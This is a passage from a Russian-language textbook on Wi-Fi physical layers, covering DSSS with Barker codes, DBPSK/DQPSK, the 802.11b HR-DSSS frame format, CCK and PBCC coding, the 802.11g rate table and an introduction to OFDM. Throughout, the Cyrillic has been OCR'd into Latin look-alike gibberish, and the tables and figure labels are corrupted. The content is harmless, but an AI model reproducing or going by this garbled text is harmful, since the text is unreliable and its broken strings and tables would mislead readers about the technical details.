cereid. s mepenaud €IMHUYHOTO U HYJIEBOTO CHMBOJIOB COOOIIEHUS HCIOJIB3YIOTCS

HHBCEPCHAA 1 IpiAMast IMoCJaICaA0BaATCIIbHOCTU COOTBCTCTBCHHO.

I | I
< > XOR

| GMT IAHHEIX

S S 1 S GRS, T I
|

1110001001 000011101101

1110001001011 10Q0010010 pamasn Husepenas
MOCHCI0BATEABHOCTE  NOCICN0BATENEHOCTE
11-unnosas bapkepa Gaprkepa
NOCHEI0BATENLHOCTE
Baprepa

Puc. 15 Pacumpenue cnekrpa no textHosoruu DSSS

JIJist MOIyJSIIIUU HECYIIEero KoJeOaHWs B 3TOM CIIy4ae HCIOJB3YIOTCS YK€ He
UCXOJHBIC CHMBOJIBI COOOIICHMS, a TPSAMBIC WM WHBEPCHBIC TOCIEAOBATCIILHOCTH
bapkepa. [Ipu ucnonpzoBanun DSSS mpoucxonut "pasmassiBaHue" MOITHOCTU CHUTHAJIA
B TIOJIOCE YacTOT, B 11 pa3 mpeBwImaromei mojiocy UCXOIHOTO y3KOIOJIOCHOTO CUTHAIA.
3n1ech ciaeayeT YIOMSHYTh O JIOBOJIBHO YacTO BCTPEYAIOIIEMCS B JIUTEPAType TE3UCE O
TOM, YTO TIpH Tepexoje K TexHonorun DSSS Bo3MoxkHa paboTa Ha IMOHM)KCHHBIX
MOIIHOCTSAX TMepeJaTynKa. ITO BEPHO TOJBKO B TOM CMBICIAEC, YTO CHHXKACTCSH
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CHEKTpajbHas IUIOTHOCTh MOLIHOCTH M3JIy4a€MOI'O CHUTHaja I@pU HEU3MEHHOU
U3JIy4aeMOM MepeJaTINnKOM MOIIHOCTH.

B npueMHUKe MOIy4eHHBI CUTHAJI CHOBA CKJIA/IBIBAETCA MO MOAYJIIO JBa C KOJOM
Bapkepa, B pe3ynpTaTe OH CTAHOBHUTCS Y3KOMOJIOCHBIM, IOATOMY €ro (UIBTPYIOT B Y3KOH
M0JIOCE YacCTOT, paBHOM yJIBOEHHOM CKOpOCTH mepeaauu. JIrobas nmomexa, monaaaromias B
M0JIOCY MCXOJHOI'O IIMPOKOIIOJIOCHOIO CUTHaNa, MOCJIE YMHOXKEHHsS Ha Kon bapkepa,
HA000POT, CTAHOBUTCS IIMPOKOIOJIOCHOM, MOATOMY B Y3KYIH0 MH(OPMAIIMOHHYIO MOJIOCY
MONajaeT JUIIb YacTh IMOMEXH, MPUMEPHO B 11 pa3 MeHblIass MO MOIIHOCTH MOMEXH,
JEUCTBYIOLIEH HA BXOJle MpUeMHHKA. [ 1aBHOI poOieMoid, BO3SHUKAIOIIEH MTPU PEILICHUH
3TOM 3aJauu, SBISETCA OOECIEeUYEeHUE CHUHXPOHU3ALMU NMPUEMHHUKA 10 MEepeaaBacMoOMy
curHany. Ha ypoBHe puznueckoro kanajia He0OXOJUMO O00ECIEUUTh CUHXPOHU3AIMIO TI0
(daze Hecymiero koJsiebaHusl, TaKTOBOM 4YacToTe Kojaa bapkepa M TakToOBOM 4YacTtoTe
coobmenus. s pemieHus: 3Tod 3aau MepeaTuuk He pexe, yeM oJuH pa3 3a 100 mc
NepenaeT CreuuaibHblil CAHXPOCHUTHAI.

[Ipumenenue texHomorun DSSS mnosBomser Takke >(PPeKTHBHO OOpPOTHCS C
UHTEPPEPEHIIMOHHON TOMEXOM, BOZHUKAIOUIEH B PE3yJIbTaTe OTPAXKEHHs CUTHAJIA OT CTEH

N MCCTHBIX IIPEAMETOB, YTO 0COOEHHO AKTyaJIbHO IJId 3aKPBITBIX HOMCMCHHﬁ.

JIBouuHasi oTHOCHTeIbHAs ¢a3oBas manunyasanus (DBPSK)

JlaHHBIN BUJ MOJYJISIIUU UCTOJIb3YeTCs JUIsl Tepeaadn nHGOpMaIuu co CKOpocTh 1
Mob6ut/c. i MOIyNALMA CHUHYCOMAAIBHOTO HECYIIEro CHUTHalla  HCIOJIb3YEeTCs
OoTHOcuTenbHast ABonuHas (azoBas moxyisuusa (Differential Binary Phase Shift Key,
DBPSK). Tlpu stom koaupoBanue WHGOPMAIMK MPOUCXOAUT 3a CUET cABUTa ¢asbl
CUHYCOUJIAJIbHOTO CHUTHajla MO OTHOLIEHWIO K MPEIbIIyIIeMYy COCTOSIHHIO CHUTHaa.
JIBonuHas ¢a3oBasi MOAYJISALMS MPEAYCMATPUBAET JiBa BO3MOXKHBIX 3HAUEHHUS CIIBHUTa
¢azer — 0 u . Tornma nornueckuil HyJb MOXKET MepeAaBaTbcsl CHUH(A3HBIM CHUTHAJIOM

(caBur o ¢aze paseH (), a eqMHUIIA — CUTHAJIOM, KOTOPBINA CABUHYT M0 (pa3e Ha 1.

106
169



KBaaparypuas ¢a3oBas manunyasiuus (QPSK)

Jlisi mepenauM JaHHBIX Ha CKOpocTd 2 MOUT/C  UCHONIb3yeTcsl OTHOCUTENbHAS
kBaapatrypHas (azosas wmomymsamus (Differential Quadrature Phase Shiftey). Ilpu
OTHOCUTETHLHON KBaApaTypHOW (a30BOH MOIYIANHUH CABUT (a3 MOXKET MPUHUMATh
yeTblpe pa3auuHblx 3HaueHus: 0, w/2, m wu3nw/2. Vcnonb3ys dYeTbipe pa3iMYHbIX
COCTOSHUSI CHTHalla, MOXXHO B OJHOM JUCKPETHOM COCTOSIHUM 3aKOAHPOBATh
MOCJIEI0BATEILHOCTh JIBYX MH(OPMAIIMOHHBIX OUT (AMOWT) W TEM caMbIM B JiBa pasa
MOBBICUTh MH(POPMAIMOHHYIO CKOpOCTh mnepenaur. Jubuty 00 COOTBETCTBYET CHBUT
¢a3bl, paBHbii 0; nubuty 01 — casur ¢a3sl, paBHbIl /2; nuOuty 11 — casur ¢dassl,
paBHbIi T; nuOuTy 10 — caBur ¢asbl, paBHbIN 37/2.

B 3aknrouenue paccmorpeHus ¢(puznueckoro ypoBHsa nporokona 802.11 ormeruwm,
YTO MIPU UHPOPMAITMOHHON CKOpOCTU 2 MOUT/C CKOPOCTH CIEAOBAHUS OT/ICIbHBIX YUIIOB
IocJIeI0BaTeNbHOCTH  bapkepa ocTtaercss MNOpexHEW, TO €CTh 11x10° wmn/c, a
CJIEI0BATENIbHO, HE MEHSIETCS U IIMPUHA CIIEKTPa MEPe1aBaeMOro CUrHala.

I'maBubIM HepoctaTkoM TexHosorud DSSS um FHSS sBnsercs Hu3Kas cKopocTh
nepemaun. Ha ceromHAmHWNA €Hb TEXHOJIOTHMHM SBJISIOTCS YCTApEBIIUMHA W HE

HCIIOJIB3YIOTCA.

dusnuecknii ypoBeHb ceteii crangapra 802.11b

[MosiBuBmmiicss B 1999 romy crangapt 802.11b permamenTupoBan mnpaBuiia
UCIIOJIb30BaHUsI BbICOKOCKOpocTHOM TexHonornun HR — DSSS, obecneunBaromieit
cKopocTh mepemaud 5,5 Mout/c m 11 MoOut/c. ng AOCTUXKEHUS TaKHX CKOPOCTEH
OPUMEHSJIIOCh  KOJUPOBAaHWE €  HWCIIOJB30BAaHMEM  KOMIUIEMEHTAPHBIX  KOJIOB
(complementary code keying, CCK) wuau TEXHOJOTMHM JBOMYHOTO IAKETHOTO
cBepToYHOrO KoaupoBanus (packet binary convolution coding, PBCC). B texHomoruu
HR-DSSS ucnonbs3oBanace Ta e cxeMa opraHu3anuu kanaimoB uyTto u DSSS — momoca

kaHana 22 MI'n, 11 kananos, 3 He nepekpoiBatonuxcs, ISM nuanazon 2,4 I'T.

IMoaypoBenn PLCP texnosoruu HR-DSSS cranpapra 802.11b
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[TonypoBens PLCP Ttexnomorun HR-DSSS wucnonssyer ¢peiimer PPDU  nByx
TUTIOB: JJIMHHBIA W KopoTkwid. [IpeamOyna u 3aronoBok AnuHHOTO (ppelimMa Bceraa
nepeIarTcsi ¢co ckopocThio 1 MOut/c, mius obecniedeHus 0OpaTHOM COBMECTUMOCTH C
texnonorue DSSS. Jlnunnueiii ¢perim HR-DSSS moutn takoit xe xkak B DSSS HO ¢
HEOOIBIIMMHU OTIUYHUSIMH, HAIIPABJIIEHHBIMH Ha TIOBBIIIICHUS CKOPOCTH TIepeIayu:

B moamone Signal moryt ObITH yKa3aHbI JOMOJHHUTEIBHBIE CKOPOCTU IEpEIavd
naHHbIX (0x37 — 5,5 Mowurt/c; Ox6E — 11 Mo6wut/c)

[Toxmoute Service onpezenser panee 3ape3epBupoBanubie OuTHI (Tadmuia 43)

[Moamosne Length mo npeskHeMy ykas3bIBaeT BpeMsi B MUKPOCEKYHIaX, HEOOXOIUMOE

st mepenaun PSDU

Tabauia 3. Onpenencaue OUTOB MOATIOSA Service

bur Haumenosaunue 3 ayeHue

B2 ['eneparopsel 0 = He ceHXpaHM3HUpOBaHbI, | = 3amarouiue
cuaxponusupoBansl  (locked | reneparopsl YaCTOTBI u CHMBOJIOB
clocks) CUHXPOHU3UPOBAHBI
B3 Br16op monymsiiuu | 0 = CCK; 1 = PBCC

(modulation selection)

B7 YBeanueHue NJINHbI Hcnonp3yercst moanoiaeM JJIMHbI

Kopotkuit ¢ppeiim PLCP PPDU o6ecrieunBaeT cpeacTBO 11 MUHUMHU3AIUN YHCIIa
CITy’>keOHBIX CHUTHAJIOB, BCE €I MO3BOJIIIONINX, MePEAaTUNKy U MPUEMHUKY CBS3aThCA C
Ipyr Ipyrom Haajexamum oopasom. Koporkuit ¢peitm mokazan Ha pucyHke 5.7. OH
UCIIONIB3YET T€ K€ 3arojioBok, npeamoOymny u ¢opmar PSDU, nHo 3aromoBok PLCP
nepeaaeTcs Ha ckopocTu 2 Mout/c, B To Bpems kak PSDU nepenaercst co CKOpOCThIO 2;
5,5; 11 Mowurt/c. Kpome Toro ero moamossi MOAUGUIIMPOBAHBI CISAYIOIIUM O0pa3oM.
[upuna monst Sync cokpamiena co 128 n1o 56 6UTOB, OHO MPEACTABISIET COOOM CTPOKY

cocroslyto u3 onHux Hynen. [Tone SFD mupunoit 16 Out ykassiBaeT Ha Hayaso (peiima
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Y Ha UCIOJIb3YEeMbIi 3aT0JIOBOK (KOPOTKUM WU JJIMHHBIN )

MNpeambyna PLCP 3aronosox PLCP
4 A h'd 2 Al
. . MAC-dpeitm
Sync SFD Signal | Service | Length | CRC (POSU)
56 Gur 16 6ut 8 6ur B our 16 6T 16 6rr

Puc. 16 Kopotkuit PPDU texnomornn HR-DSSS

Monyasuusi CCK na noxypoBae PMD cranaapra 802.11b

B crangapre IEEE 802.11b ucnosb3yroTcsi KOMILJIEKCHBIE KOMIUIEMEHTAPHBIE 8-
YUIIOBBIC TIOCIIEOBATEILHOCTHU, ONPECICHHbIE HA MHOKECTBE KOMIUIEKCHBIX 3JIEMEHTOB
{1, -1, J, —j}. Daements §-unmnoBoit CCK-mociieoBaTeIbHOCTH MOTYT PUHUMATh OJTHO
U3 CACAYIOIIMX BOChMU 3HaueHwit: 1, —1, , —, 1+], 1], —1+], —1—j. OcHOBHOE OTIHYHE
CCK-nocnenoBaTebHOCTEH OT PacCMOTPEHHBIX paHee koj0B bapkepa 3akimrodaercst B
TOM, YTO CYIIECTBYET HE CTPOTO 3aJaHHas MOCJICIOBATEIHLHOCTD, MIOCPEACTBOM KOTOPOU
MOXHO OBUIO KOJMPOBATH JIMOO JIOTMYECKUN HYNb, JIMOO €IWHUIlY, a IEJblii Habop
nocienoBatenbHocTed. McnonszoBanue CCK-kolOB MO3BOJISIET KOAUPOBAThH 8 OUT Ha
OJIMH CUMBOJI IpH ckopocTH 11 Mout/c u 4 6ut Ha CUMBOJI TPU CKOpocTH 5,5 Mourt/c.

Jlns toro, 4ToOBI mepenaBaTh JaHHBIE CO CKOPOCTBIO 5,5 MOwuT/c, HyXHO
CTPYIITUPOBATh CKPEMOJIMPOBAHHBIN MOTOK OMTOB B cuMBOJIEI 1o 4 Outa (b0, bl, b2 u
b3). Ilocnemnue nBa Oumra (D2 wu Db3) wucmomesyrorcs npnas  ompenenenus 4
MIOCJICIOBATEIPHOCTEH KOMIUIEKCHBIX YHMITOB, Kak moka3aHo B Ta0i. 4.1, rae {cl, c2, c3,
c4, c5, ¢6, c7, c8} mpenCTaBISAIOT YUIIBI TTOCJIEA0BATEILHOCTH.

Tabnuua 4. ITocnenoBarensHocTs unnoB CCK

b2,b3 [C1 [C2 [C3 [C4 [C5 [C6 |C7 [C8
00 [ 1 [j |1
N E N E
10 |5 11 4 [1 |
11 [j 1 (1 A

[ QIR RN N
[ RPN N
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Tenepb, UMes MOCIIEOBATEILHOCTh YHWIIOB, ompeneicHHyto Outamu (b2, b3),
MOJKHO HCITOJIb30BaTh mepBbie aBa Outa (b0, bl) mas ompenenenus moBopota (asbl,
OCyHIECTBIIsIEMOTO Tipu Moayisiiuu mo merogy DQPSK, xoTtopsiii Oyner mpUMEHEH K

IIOCJIACA0BATCIIbHOCTH.

Tabnuna 5. IToBopot ¢a3zel npu CCK momymsiuu

00 |0 rpamycos

01 |90 rpamycoB

11 |180 rpamxycos

10 |90 rpamycos

OnpenenenHoe OWTamMu BpalleHue ¢a3bl TPUMEHSETCS [0 OTHOUIEHUI0 K 8
KOMITJIEKCHBIM YHWIIaM CHMBOJIA, 3aTE€M OCYIIECTBIIACTCS MOMYJSIUSA HA TIOIXOJSIICH
HECYILIEN 4acToTe.

Crnemyer uMeTh BBUIY, UYTO peub ujet 00 ucnosb3zoBanuu DQPSK, a ne QPSK, u
MO3TOMY TIPEJCTABICHHBIC B TAOJIHIIC U3MEHEHUS (ha3bl OTCUNTHIBAIOTCS 11O OTHOIICHHIO
K MpebIyleMy CUMBOJY WJIH, B ciydae mepBoro cumBosia PSDU, mo OTHOIIEHHIO K
nocyegHeMy cumBouTy nipeapiaymero DQPSK cuMBora.

Jlyist Toro 4TOOBI TIEpeaBaTh JaHHBIE Ha ckopocTu 11 M6uT/c, ckpeMOarupoBaHHast
MOCJIeIOBATEILHOCTh OMTOB pa3duBaeTcss Ha rpynmbl o § oOut. I[locnennue 6 OUTOB
BBEIOMPAIOT OJIHY TIOCIEAOBATEIIBHOCTh, COCTOSIIYIO U3 8 KOMIUIEKCHBIX YHIIOB M3 YHCIIA
64 BO3MOXHBIX TMOCJIEIOBATEILHOCTEH, MEPBbIE OUTHI TaK ke KakK W JJIsi CKOpPOCTH 5,5

Mo6wuT/c onpeaensitoT 3BMEeHeHne Pa3bl CUMBOJIOB.

JIBonuHOE makeTHOoe cBepToYHOE KoaupoBanue PBCC

Nnes cBepTOYHOrO KOJUPOBAHMS 3aKIIOYACTCS B CleayromeM. Bxopsmas
MOCJICIOBATEIPHOCTh ~ MH(MOPMAIMOHHBIX  OUT  mpeobpasyeTcs B CICHHAIBHOM
CBEPTOYHOM KOJIepe TaKUM 0O0pa3oM, 4TOOBI KaKJOMY BXOIHOMY OUTY COOTBETCTBOBAJIO
0osee OJHOTO BBIXOAHOTO. TO €CTh CBEPTOUYHBIM KOAEP M00ABISET OMNpPEICICHHYO
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n30bITOUHYI0O HWH(POpPMAIUIO K WCXOAHOW mMOcieaoBaTeNbHOCTH. Ecmm, k mpumepy,
KKJIOMY BXOJHOMY OWTY COOTBETCTBYET JBa BBIXOIHBIX, TO TOBOPST O CBEPTOUYHOM
KOJAMPOBAHUH CO CKOPOCThIO T = 1/2.

JIt000# CBEPTOYHBIN KOAEP CTPOUTCS HAa OCHOBE HECKOJBKUX ITOCIIEIOBATEIHLHO
CBSI3aHHBIX 3aIIOMHHAIONINX SYEEK U JIOTUYECKUX AJIEMEHTOB, CBS3bIBAIOIIUX ATH SYEHUKU
Mexy coOoi. KoandyecTBO 3alOMHUHAIONINX STYEEK OMPEAEseT KOJTUYECTBO BO3ZMOKHBIX
cocTosiHUK Konepa. Eciam, Kk mpumepy, B CBEPTOYHOM KOJIEPE HCIOIB3YETCS IIECTh
3allOMHHAIONINX SY€EK, TO B KOJEpe XpaHUTCA HHGPOpPMALMS O IIECTU MPEIbIIYIINX
COCTOSIHUSAIX CUTHAJIa, @ C Y4E€TOM 3HAYCHUS BXOJSIIEr0 OWTa MOJYyYUM, UYTO B TAKOM
KOJIEPE HCIIOJIB3YEeTCSl CeMb OUT BXOJIHOM TMOCHEAOBATENIbHOCTU. Takoil CBEpTOYHBIN
KOJIEp Ha3bIBAETCS KOAEPOM Ha ceMb coctosinuid (K = 7).

BeixonHele Outhbl, (opMupyeMble B CBEPTOYHOM KOJEpE, OIPEACIIAIOTCS
3HAYCHUSIMU BXOJHOTO OMTa U OMTaMH, XpaHUMBIMU B 3aIIOMUHAIONIUX SYEHKaX, TO €CTh
3HAYCHHUE KaxA0ro (POpMUPYEMOro BBIXOJHOTO OWTa 3aBUCHUT HE TOJIBKO OT BXOJSIIIETO
UH(OPMAITMOHHOTO OUTA, HO U OT HECKOJIBKUX MPEBITYIIUX OUTOB.

B texnonorun PBCC ucnomnb3yrorcs cBepTOUHbIE KOJEPhI HA ceMb cocTostHUM (K =
7) co ckopocThlo r=1/2. I'7aBHBIM JIOCTOMHCTBOM CBEPTOYHBIX KOJEPOB SIBISIETCS
MTOMEX0YCTOMYHNBOCTh (POPMHUPYEMOM MMM TIOCIIEIOBATEIIBHOCTH. J[elo B TOM, 4TO IIpH
M30BITOYHOCTH KOAUPOBAHUS JaXe B ClIydyae BOSHUKHOBEHHUS ONIMOOK MpUEMa UCXOIHAs
MOCJICOBATEILHOCTE  OMT  MOXeT ObITh  0e30mu004YHO  BoccTaHoBieHa.  Js
BOCCTAHOBJICHUSI HMCXOJHOM TMOCIEA0BATEIbHOCTH OWTOB Ha CTOPOHE MPUEMHHKA
npuMeHsieTcst 1ekojiep ButepOu.

Jlubut, hopMUpyeMBbIii B CBEPTOUYHOM KOJIEpE, HCIIOJIB3yeTCS B JAJbHCHUIIIEM B
KauecTBE IepeaBaeMoro CHUMBOJA, HO TMPEABAPUTENILHO JTOT JUOUT TMOJBEpracTcs
dazoBoit Moaynanuu. [lpuyeM B 3aBUCHMOCTH OT CKOPOCTH Tiepedadyd BO3MOKHA
JIBOMYHAS, KBaJ[paTypHas WM J1a)Ke BOCBMHUIIO3UIIMOHHAS (Da3oBast MOTYIISIHA.

MeTon MakeTHOTrO CBEPTOYHOTO KOAWPOBAHUS ONMUMOHAIBHO MPEAYCMOTPEH Kak
aIbTEPHATUBHBIA METOJ KomupoBaHus B nmpoTokosie 802.11b Ha ckopocTsax nepenaun 5,5

u 11 Mour/c. Kpome TOro, UMEHHO [aHHBI PEXKHUM KOAUPOBAHUS JIET B OCHOBY
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nporokona 802.11b+ — pacmmupenns mpotokona 802.11b. CoOcTBEHHO, TPOTOKOJIA
802.11b+ kak TakoBOro o(QUIMAILHO HE CYIIECTBYET, OJHAKO JAaHHOE paCIIUPEHHUE
MOJICP)KaHO MHOTUMH TIPOU3BOAUTEIIIMA OECIPOBOJIHBIX YCTPOUCTB. B mpoTokose
802.11b+ mpemycmaTpuBaeTcs €IIe OJHAa CKOPOCTh Mepeaady AaHHbIX — 22 Mout/c ¢
ucnoiabs3oBanueM texnonoruu PBCC.

[Ipu ckopoctu mepemauu 5,5 MoOut/c 1 Momynsnuu auOuta, (GOPMHUPYEMOTO
CBEPTOUYHBIM KOJIEPOM, UCTIOJIB3YyETCSl BOMYHAs (ha3oBasi MOAYJAIKMSA, a pU ckopocTH 11
Mo6ut/c — kBanpatypHas dazoas Moxyasnus. IIpu stom s ckopoctu 11 Mout/c B
KXJIOM CHUMBOJIE KOJMPYETCA MO OJIHOMY BXOJHOMY OUTY W CKOPOCTh Nepeaadyu OUT
COOTBETCTBYET CKOPOCTH IepeAadyd CUMBOJIOB, a TIPH CKOpocTu 5,5 MOUT/C CKOpOCTh
nepeayum OMTOB paBHA MOJIOBUHE CKOPOCTH MEpeaadyd CUMBOJIOB (TIOCKOIBKY KaXXKIOMy
BXOJHOMY OWUTY B JaHHOM CJIy4ae COOTBETCTBYET JIBa BBHIXOJHBIX CHMBOJA). [ToaTomy u
JUTst ckopoctu 5,5 Mout/c, u 11s ckopoctu 11 MOuTt/c cuMBOJIbHASE CKOPOCTH COCTABIISIET
11x10° cuMBOIIOB B CEeKYHIY.
st ckopoctu 22 MOUT/C 10 CpaBHEHHIO C yXkKe paccMoTpeHHoi Hamu cxemoit PBCC
nepegaya JaHHBIX HMeEET JBe ocoOeHHocTu. IIpexne Bcero, ucnombzyercs 8-
no3utrionHast (azosas monyisius (8-PSK), To ecth aza curHana MoxxeT NpUHUMATH
BOCEMb Pa3IMYHBIX 3HAUYCHUI, YTO MO3BOJIAET B OJTHOM CUMBOJIE KOJIUPOBATH yxe 3 Oura.
Kpome Toro, B cxeMy KpoMe€ CBEPTOYHOTO Kojiepa [00aBJieH MYyHKTYpPHBIH KOJEp
(Puncture). CMpICT Takoro pemeHHs TOBOJBHO IIPOCT: H30BITOYHOCTH CBEPTOUYHOTO
KoJiepa, paBHas 2 (Ha KaXAbli BXOJHOM OWUT MPHXOIUTCS JBa BBIXOJHBIX), JOCTATOUYHO
BBICOKA M TPU OMPEACICHHBIX YCIOBHUSAX MOMEXOBON OOCTAHOBKU SIBIISICTCS WU3JIMUIIHEH,
MO3TOMY MOXHO YMEHBIIUTh M30BITOYHOCTh, YTOOBI, K MPUMEPY, KaXKIbIM JIBYM
BXOJHBIM OMTaM COOTBETCTBOBAJIO TPU BBIXOJIHBIX.

JI71s1 TOr0 MOXHO, KOHEYHO, pa3paboTaTh COOTBETCTBYIOIINNA CBEPTOUHBIN KOJIEP,
HO JyuIie 100aBUTh B CXEMY CIEIUATbHBIN MyHKTYPHBIA KOAEP, KOTOPBINA OYIET MPOCTO
YHUYTOXXATh JIUIITHUE OUTHI.

JlommycTuM, YTO TYHKTYPHBIH KOAEp yAAIAeT OAWH OUT U3 KaXKIbIX YETHIPEX

BXOIHBIX OHMTOB. Tor;[a KaXAbIM YCTBIPCM BXOAJAIINM ouram 6y,HeT COOTBCTCTBOBAThb TpHU
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BbIXOASIIKX. CKOPOCTh TAKOTO KOZiepa cocTaBisieT 4/3.

Ecimu ke Takoi Komep HCIONB3yeTCs B Tape CO CBEPTOYHBIM KOJEPOM CO
CKOpOCTBIO 1/2, TO 00mIasi CKOPOCTh KOJUPOBAHUSI COCTABUT YXKe 2/3, TO €CTh KaXIbIM
JIBYM BXOJHBIM OUTaM OYyZEeT COOTBETCTBOBATh TPH BBIXOIHBIX.

Tabnuma 6. CooTHOIIEHUE MEKTY CKOPOCTSMH TIepeIadui U TUIIOM KOJAUPOBAHWS B

crannapte 802.11b

Konu-
CuMBoJIBHAS
CxopocTh YECTBO
Cxopoctb nepenauu,|(Meton CKOPOCTb,
Monynsiiusi |cCBEpTOYHOTO our B
Mo6ut/c KOJIUPOBaHMUS 106
KOJUPOBAHUS OJTHOM
CHUMBOJI/C
CHUMBOJIE
1 |(oGs3atenbHo) |Kox bapkepa |DBPSK - 1 1
2 |(ob6s3aTenpHO) |Kox bapkepa |DQPSK - 1 2
(obs3atensHo) [CCK DQPSK - 1,375 |2
5,5
(ommmonaneHO) |PBCC DBPSK 1/2 11 0,5
(obs3arenbHo) |CCK DQPSK - 1,375 (8
11
(ommmonaneHO) |PBCC DQPSK 1/2 11 1

Pdu3nyeckuit yposenb crangapra 802.11¢g

Crannapt IEEE 802.11g sBasieTcst norudeckuM npoaonkenneM cranaapta 802.11b
U TpearnojaraeT mepeaady JaHHbIX B TOM JK€ YacTOTHOM JMarna3oHe, HO ¢ Oosee
BBICOKMMU cKopocTsiMu. Kpome Ttoro, cranmapt 802.11g MOTHOCTBIO COBMECTHM C
802.11b, To ectp moboe yctpoiictBo 802.11g MOMKHO MOAACPKUBATH PAOOTy C
yctpoiictBamu 802.11b. MakcumanbHasi cKopocTh mepenaud B crtaHgapte 802.11g
cocTaBisieT 54 Mourt/c.

I[Ipu  pazpaborke  crammapta  802.11g  paccMaTpuBaauCh  HECKOJIBKO
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KOHKYPHUPYIOIINX TEXHOJOTHI: METO/ OPTOTOHAJILHOIO YacToTHOro paszaenenuss OFDM,
MPEJIOKEHHBIA K pacCMOTpPEHUI0 KommaHuel Intersil, 1 MeTOJ JBOMYHOrO MAKETHOTO
cBeprouHoro koguposanus PBCC, onunonansHO peann3oBaHHblil B ctangapte 802.11b u
peIoKeHHbI koMnanuen Texas Instruments. B pesynerate crangapt 802.11g ocHoBan
Ha KOMIIPOMUCCHOM PEIICHUH: B KauecTBE 0a30BbIX MpuMeHstoTcsa TexHonorud OFDM u

CCK, a onuuoHanbHO NPEAYCMOTPEHO HcIoNb30Banue TexHojornu PBCC.

OpTOroHaIbHOE YaCTOTHOE pa3/IeJICHUE KAHAJIOB C MYJIbTUIIIIEKCUPOBAHUEM

PacnipocTpaneHne cHUrHajJoOB B OTKpPBITOM cpene, Koel sBisercs paauoddup,
CONPOBOXK/IAETCSI BO3HUKHOBEHHEM pa3jIM4YHOro poja nomex. Kiaccuueckuil mpumep
Takoro pojaa mnoMex — 3P(EeKT MHOrosy4eBoil HHTEp(EpEeHLUd CUTHAJIOB,
3aKJIIOYAIONIMICA B TOM, YTO B pE3yJIbTaTE€ MHOTOKPATHBIX OTPAXEHUW CUranaa oOT
€CTECTBCHHBIX IIperpajg OIMH M TOT K€ CHTHAI MOXET IonajgaTb B IMPUEMHUK
paznmuyHbIMH yTsIMU. Ho mo/100HbIE MYTH paclpOCTPAHEHHS] UMEIOT U Pa3HbIE JUIMHBI, A
NOTOMY JUId pa3jM4YHBIX MyTEH pacHpoCTpaHEHUs ocjabjieHue curHaia Oyzaer
HEOAUMHAKOBBIM. (CreoBaTeslbHO, B TOYKE IIPUEMA  PE3YJNbTUPYIOUIMH  CHUTHAI
MpEACTaBIsACT COO0OM cymneprno3uiuio (MHTepPEpeHIni0) MHOTUX CHUTHAJIOB, MMEIOIIUX
pa3IMYHbIC AMIUIMTYAbl M CMEIICHHBIX APYr OTHOCUTEIBHO ApYyra IO BPEMEHM, 4YTO
SKBUBAJICHTHO CJIO’KEHHUIO CUTHAJIOB C pa3HbIMH (pa3zaMu.

CrnencTBreM MHOTOJIY4eBOM MHTEP(EPEHIINU SIBISETCS UCKAXKEHUE TIPUHUMAEMOT0
curHaina. MHoronyueBass HHTephEpeHLIUs MpHUcylla JoOOMYy THIy CHUTHAJIOB, B
pe3ynbTaTe MHTEp(PEPEeHLMH OIpPEAENICHHbIE YacTOThl CKJIAJbIBAIOTCS CUH(pA3HO, YTO
IPUBOJUT K YBEIMUEHUIO CUTHAJA, a HEKOTOpble, HA00OPOT, — MPOTHUBO(DA3HO, BbI3bIBAS
ocJia0JeHre CUrHajia Ha JaHHOW 4acToTe.

['oBOpst 0 MHOTOJTY4eBOI MHTEPPEPEHIIMH, BO3HUKAIOIIECH MpH Mepeaye CUTHAJIOB,
pa3IMyaroT JBa KpalHUX ciydas. B mepBom cilyyae MakCHUMaslbHas 3aJEpiKKa MEXKIY
Pa3IMYHBIMM CUTHAJaMU HE IMPEBOCXOAUT BPEMEHM JJIMTEIBHOCTH OJHOTO CHMBOJA U
uHTep(epeHIs BO3HUKAET B Ipenesax OJHOro MepeaaBaeMoro cuMmBoja. Bo BTopom

ClIydaC MaKCUMaAJIbHAA 3aJICPKKa MCIKIY pPa3JIMYHBIMA CUTHAJIaMU OoJbIIIEe JINTCIIBHOCTHU
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OIHOTO CHMBOJIa, a B pe3ylbTaTe UHTEp(EpPEHINH CKIAIbIBAIOTCS  CUTHAJIBI,
MPEICTABIIAIONINE Pa3HbIe CHUMBOJIbI, U BO3HHMKAET TaK Ha3blBaeMas MEKCHUMBOJIbHAS
untepdepennus (Inter Symbol Interference, ISI).

HaubGonee oTpunarenbHO Ha MCKaKEHHWE CHUTHAjJa BIHAET MEXCHMBOJIbHAS
untepdpeperus. I[loCKOIbKY CHUMBOJI — 93TO JMCKPETHOE COCTOSIHHE CHUTHAla,
XapaKkTepu3yromieecs 3HAYCHUSMH YacTOTHl HECYIEeH, aMIUIMTYyAbl U (as3pl, TO s
Pa3IMYHBIX CHMBOJIOB MEHSIOTCS aMIUTUTyJa U (a3a curHaia, MmodTOMY BOCCTAHOBHUTH
VICXOJHBIA CUTHAJ KPaWHE CII0KHO.

YToOBl 4YaCTUYHO KOMIEHCHUPOBATH 3(PPEKT MHOTOIYYEBOIO PacHpOoCTpaHEHUS,
UCIOJIB3YIOTCSl YaCTOTHBIE 3KBajlai3epbl, OJHAKO MO MEpPE pOCTa CKOPOCTH Iepeaaydu
JaHHBIX JIMOO 3a CUET YBENUYCHHsS] CHUMBOJBHOW CKOPOCTH, JIUOO H3-3a YCIOKHEHUSA
CXEeMbI KOJUPOBaHUs, 3P PEKTUBHOCTH HCIOIb30BAHMS KBaJal3epOB NaJaeT.

[ToaToMy mpu OoJiee BHICOKHMX CKOPOCTAX Iepeadyn MPUMEHSETCS MPUHIIUITAATBEHO
WHOW METOJ KOJIWPOBAHUS JTAHHBIX — OPTOTOHAIFHOE YACTOTHOE pa3/ieJICHHE KaHAJIOB C
mynbTuiiekcupoBanueMm (Orthogonal Frequency Division Multiplexing, OFDM). WUnes
JTAHHOTO METO/Ia 3aKJII0YAETCsA B TOM, YTO MOTOK MEPEIaBaeMbIX TaHHBIX paclpeaesieTcs
110 MHO>KECTBY YaCTOTHBIX MOJKAHAJIOB M Mepeaayda BEACTCS MapajieIbHO Ha BCEX ITHUX
nojkaHanax. IIpm 3ToM BbICOKash CKOPOCTh IEpelayd JOCTUTAeTCs HUMEHHO 3a CYeT
OJTHOBPEMEHHOI Mepeaaun JaHHbIX M0 BCEM KaHallaM, a CKOPOCTh Mepeiaddl B OTACITEHOM
MOJIKaHAJIe MOXKET ObITh M HEBBICOKOM. [I0OCKOIBbKY B KaXK/IOM U3 YaCTOTHBIX MOJKAHAIOB
CKOPOCTh TMe€pelayd JAHHBIX MOXKHO CJeJlaTh HE CIUIIKOM BBICOKOH, 3TO CO3J1aeT
